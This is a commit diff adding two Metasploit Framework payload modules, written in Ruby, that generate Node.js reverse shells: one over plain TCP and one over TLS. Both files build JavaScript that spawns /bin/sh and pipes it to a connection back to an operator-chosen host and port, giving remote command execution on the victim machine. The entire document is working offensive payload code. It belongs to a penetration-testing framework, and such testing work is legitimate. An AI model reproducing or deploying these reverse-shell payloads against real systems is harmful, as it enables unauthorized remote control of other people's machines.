Add nodejs single payloads, thanks to RageLtMan.

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

@@ -0,0 +1,66 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Command Shell, Reverse TCP (via nodejs)',
+      'Description'   => 'Creates an interactive shell via nodejs',
+      'Author'        => ['RageLtMan', 'joev'],
+      'License'       => BSD_LICENSE,
+      'Platform'      => 'js',
+      'Arch'          => ARCH_NODEJS,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'js',
+      'Payload'       => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    # Future proof for PrependEncoder
+    ret = super + command_string
+    # For copy-paste to files or other sessions
+    vprint_good(ret)
+    return ret
+  end
+
+  #
+  # Returns the JS string to use for execution
+  #
+  def command_string
+    # Does anyone know of a concise way to tell if we're running on windows so that we spawn cmd?
+    lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
+    cmd   = <<EOS
+(function(){
+  var require = global.require || process.mainModule.constructor._load;
+  var net = require("net"),
+      spawn = require("child_process").spawn,
+      util = require("util"),
+      sh = spawn("/bin/sh", []);
+  var client = this;
+  client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", function() {
+    client.socket.pipe(sh.stdin);
+    util.pump(sh.stdout, client.socket);
+    util.pump(sh.stderr, client.socket);
+  });
+})();
+EOS
+    return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}"
+  end
+end

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

@@ -0,0 +1,67 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Command Shell, Reverse TCP SSL (via nodejs)',
+      'Description'   => 'Creates an interactive shell via nodejs, uses SSL',
+      'Author'        => ['RageLtMan', 'joev'],
+      'License'       => BSD_LICENSE,
+      'Platform'      => 'js',
+      'Arch'          => ARCH_NODEJS,
+      'Handler'       => Msf::Handler::ReverseTcpSsl,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'js',
+      'Payload'       => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    # Future proof for PrependEncoder
+    ret = super + command_string
+    # For copy-paste to files or other sessions
+    vprint_good(ret)
+    return ret
+  end
+
+  #
+  # Returns the JS string to use for execution
+  #
+  def command_string
+    # Does anyone know of a concise way to tell if we're running on windows so that we spawn cmd?
+    lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
+    cmd   = <<EOS
+(function(){
+  var require = global.require || process.mainModule.constructor._load;
+  var tls = require("tls"),
+      spawn = require("child_process").spawn,
+      util = require("util"),
+      sh = spawn("/bin/sh", []);
+  var client = this;
+  client.socket = tls.connect(#{datastore['LPORT']}, "#{lhost}", function() {
+    client.socket.pipe(sh.stdin);
+    util.pump(sh.stdout, client.socket);
+    util.pump(sh.stderr, client.socket);
+  });
+})();
+EOS
+    return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}"
+  end
+end